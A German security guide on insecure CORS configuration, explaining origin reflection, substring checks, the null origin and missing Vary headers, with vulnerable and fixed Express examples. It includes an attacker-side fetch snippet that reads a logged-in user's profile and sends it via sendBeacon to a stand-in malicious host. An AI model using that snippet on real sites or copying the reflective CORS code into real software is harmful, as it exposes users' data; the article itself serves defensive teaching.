Zum Inhalt springen

Unsichere CORS-Konfiguration

CWE-942CWE-346OWASP A05:2021Aktualisiert 4. September 20265 Min. Lesezeit

Cross-Origin Resource Sharing bestimmt, welche anderen Websites die Antworten Ihrer API lesen dürfen. Wird die mitgesendete Origin ungeprüft gespiegelt und sind zugleich Anmeldedaten erlaubt, kann jede Website Daten Ihrer angemeldeten Nutzer auslesen. Die Same-Origin-Policy, die Ihren Browser sonst schützt, ist dann bewusst abgeschaltet.

Die Same-Origin-Policy ist die wichtigste Trennlinie im Browser: Ohne diese Regel könnte jede Website die Daten jeder anderen auslesen. CORS ist der Mechanismus, mit dem Sie sie für Partner, denen Sie vertrauen, bewusst lockern. Ein Konfigurationsfehler darin ist deshalb nicht bloß eine falsche Einstellung, sondern das Abschalten des Schutzes selbst. Das geschieht leichter, als es klingt, und die Behebung ist Feinarbeit.

Was ist CORS?

Cross-Origin Resource Sharing (CORS) ist eine Reihe von HTTP-Headern, mit denen ein Server angibt, welche anderen Herkünfte seine Antworten lesen dürfen. Standardmäßig lässt der Browser das nicht zu: JavaScript auf seite-a.example darf zwar eine Anfrage an api.seite-b.example senden, die Antwort aber nicht lesen. Genau diese Trennung verhindert, dass eine beliebige Website Ihr Webmail oder Ihre Bankumgebung ausliest, während Sie angemeldet sind.

Mit Access-Control-Allow-Origin durchbrechen Sie diese Trennung für bestimmte Partner. Das ist legitim und oft nötig: ein Frontend auf einer anderen Domain als die API, ein Partner, der Ihren Dienst einbindet, eine mobile Anwendung. Das Problem entsteht, wenn die Liste der zugelassenen Partner in der Praxis auf “alle” hinausläuft.

Vergleichen Sie es mit einer Besucherregelung. Sie können bestimmten Partnern gestatten hereinzukommen. Doch eine Regelung, die darauf hinausläuft, dass hereinkommen darf, wer sich an der Tür meldet, ist keine Regelung; sie ist eine offene Tür mit einem Formular daneben.

Wie geht eine CORS-Konfiguration schief?

Die gefährlichste Variante entsteht aus einer Lösung für ein praktisches Problem: Es gibt zu viele berechtigte Herkünfte zum Aufzählen, also wird der mitgesendete Wert einfach zurückgegeben.

Verwundbar:

// Die Herkunft des Anfragenden wird ungeprüft gespiegelt
app.use((req, res, next) => {
  res.set('Access-Control-Allow-Origin', req.get('Origin'));
  res.set('Access-Control-Allow-Credentials', 'true');
  next();
});

Das funktioniert für alle berechtigten Frontends bestens, und genau deshalb bleibt es stehen. Doch der Origin-Header wird von der Website gesetzt, die die Anfrage stellt, also auch von der Website eines Angreifers. Die Folge:

// Auf der Seite des Angreifers, besucht von einem angemeldeten Nutzer
const antwort = await fetch('https://api.portal.example/mein/profil', {
  credentials: 'include',           // sendet das Session-Cookie mit
});
const daten = await antwort.json();

navigator.sendBeacon('https://boesartig.example/ein', JSON.stringify(daten));

Der Browser sendet das Session-Cookie, der Server antwortet mit Access-Control-Allow-Origin: https://boesartig.example und Allow-Credentials: true, und der Browser lässt das Auslesen zu. Der Angreifer besitzt nun die Daten jedes angemeldeten Besuchers seiner Seite, ohne Passwort, ohne Einschleusung und ohne dass in Ihren Protokollen etwas Ungewöhnliches stünde.

Eine Variante davon ist eine Prüfung, die lediglich schaut, ob die Herkunft Ihren Domainnamen enthält. https://portal.example.boesartig.example enthält den Text portal.example und rutscht dann hindurch.

Sicher:

const ERLAUBT = new Set([
  'https://portal.example',
  'https://verwaltung.portal.example',
]);

app.use((req, res, next) => {
  const origin = req.get('Origin');

  if (origin && ERLAUBT.has(origin)) {          // exakte Übereinstimmung
    res.set('Access-Control-Allow-Origin', origin);
    res.set('Access-Control-Allow-Credentials', 'true');
    res.set('Access-Control-Allow-Methods', 'GET, POST');
    res.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.set('Access-Control-Max-Age', '600');
  }
  res.set('Vary', 'Origin');                    // Caches dürfen nicht mischen
  next();
});

Der Vergleich ist nun exakt und erfolgt gegen eine feste Liste; es wird nichts gespiegelt, was nicht darauf steht. Vary: Origin ist dabei keine Nebensache: Ohne diesen Header kann ein Cache die Antwort für eine Herkunft an eine andere ausliefern, womit Sie den Fehler doch wieder einführen.

Begrenzen Sie erlaubte Herkünfte auf vollständige, exakte Adressen einschließlich des Protokolls. Erlauben Sie nie http:// neben https:// und nehmen Sie keine Entwicklungs- oder Testumgebungen in die Produktionskonfiguration auf. Ein vergessenes http://localhost:3000 in der Liste ist ein bekannter Befund, der sich in der Praxis missbrauchen lässt.

Welche Auswirkungen hat eine unsichere CORS-Konfiguration?

Der Schweregrad reicht von mittel bis hoch und hängt an zwei Dingen: was die API zurückgibt und ob Allow-Credentials eingeschaltet ist.

Ist Letzteres aus, bleibt der Schaden begrenzt: Ein Angreifer kann die API ansprechen, jedoch ohne die Sitzung des Opfers und damit nur als anonymer Nutzer. Ist es zusammen mit einer zu weit gefassten Richtlinie eingeschaltet, entspricht das Ergebnis dem von Cross-Site Scripting: Jede Website, die Ihr Nutzer besucht, kann in seinem Namen Daten abrufen und die Antworten lesen.

Besonders unangenehm ist die Unsichtbarkeit. Das Opfer muss lediglich eine Seite besuchen; es braucht keinen Klick, keinen Download und keine Warnung. Die Anfragen kommen aus seinem eigenen Browser mit seiner eigenen Sitzung, in den Protokollen der Anwendung ist also nichts Abweichendes zu sehen. Je nachdem, was die API preisgibt, geht es um personenbezogene Daten, Dokumente, Kundeninformationen oder, sofern auch Schreibvorgänge möglich sind, um Änderungen im Namen des Nutzers.

Wie spürt man eine unsichere CORS-Konfiguration auf?

Ein Tester sendet Anfragen mit einem selbst gewählten Origin-Header und schaut, was der Server zurücksendet. Wird dieser Wert in Access-Control-Allow-Origin gespiegelt, steht der wichtigste Befund sofort fest. Steht daneben Access-Control-Allow-Credentials: true, ist das Risiko unmittelbar konkret.

Danach folgen die Varianten, die häufig übersehen werden. Wird die Herkunft mit einem Vergleich geprüft, der nur auf einen Teil des Textes achtet, sodass portal.example.boesartig.example oder boesartigportal.example akzeptiert wird? Wird der Wert null zugelassen, den ein Angreifer aus einem sandboxed iframe erzeugen kann? Stehen unbeabsichtigte Herkünfte auf der Liste, etwa Testumgebungen oder eine http://-Variante? Und fehlt Vary: Origin, wodurch ein zwischengeschalteter Cache Antworten vertauschen kann? Ebenso wird geprüft, ob sich die Richtlinie je Endpunkt unterscheidet, denn eine strenge Einstellung auf der Hauptroute sagt nichts über eine ältere API aus, die noch danebenläuft. AssistSec beurteilt zusätzlich, was über diese Endpunkte zu holen ist, denn der Schweregrad bestimmt sich letztlich nach den Daten, die dabei herauskommen.

Wie verhindert man eine unsichere CORS-Konfiguration?

  • Arbeiten Sie mit einer festen Liste erlaubter Herkünfte und vergleichen Sie exakt dagegen, einschließlich Protokoll und Port.
  • Spiegeln Sie den Origin-Header nie ungeprüft, auch nicht “vorübergehend” während der Entwicklung.
  • Schalten Sie Access-Control-Allow-Credentials nur ein, wenn es wirklich nötig ist, und nie zusammen mit einem Platzhalter.
  • Lassen Sie den Wert null nicht zu; ein Angreifer kann ihn mühelos erzeugen.
  • Senden Sie stets Vary: Origin mit, damit Caches Antworten für verschiedene Herkünfte nicht vermengen.
  • Halten Sie Entwicklungs- und Testherkünfte aus der Produktionskonfiguration heraus.
  • Begrenzen Sie Allow-Methods und Allow-Headers auf das tatsächlich Nötige.
  • Verwenden Sie weiterhin CSRF-Token; CORS schützt das Lesen von Antworten, nicht das Ausführen von Vorgängen.
  • Prüfen Sie die Richtlinie je Endpunkt, einschließlich älterer API-Versionen, die noch erreichbar sind.

Quellen

Häufige Fragen

Warum ist das Spiegeln der Origin so gefährlich?

Weil der Origin-Header von der Website gesetzt wird, die die Anfrage stellt. Spiegeln Sie diesen Wert, sagen Sie faktisch jeder Website, dass sie zugelassen ist. In Verbindung mit Allow-Credentials heißt das: Jede Website darf Ihre API mit den Cookies Ihres angemeldeten Nutzers ansprechen und die Antwort lesen.

Darf ich einen Platzhalter verwenden?

Nur für wirklich öffentliche Daten, bei denen keine Authentifizierung im Spiel ist. Browser verweigern die Kombination aus Platzhalter und Allow-Credentials, und das ist eine bewusste Sicherheitsmaßnahme. Versuchen Sie nicht, sie zu umgehen, indem Sie stattdessen die Origin spiegeln.

Schützt CORS vor CSRF?

Nein, und diese Verwechslung hält sich hartnäckig. CORS regelt, ob eine andere Website die Antwort lesen darf; die Anfrage selbst wird häufig dennoch gesendet und ausgeführt. Ein zustandsändernder Vorgang kann also gelingen, ohne dass der Angreifer die Antwort sieht. Sie benötigen daneben CSRF-Token.

Ist null ein sicherer Wert zum Erlauben?

Nein, im Gegenteil. Der Wert null erscheint unter anderem bei Anfragen aus einem sandboxed iframe, das ein Angreifer auf seiner eigenen Seite erzeugen kann. Das Erlauben von null läuft damit auf das Erlauben beliebiger Websites hinaus.

Verwandte Artikel

Zum Suchen / drücken · Esc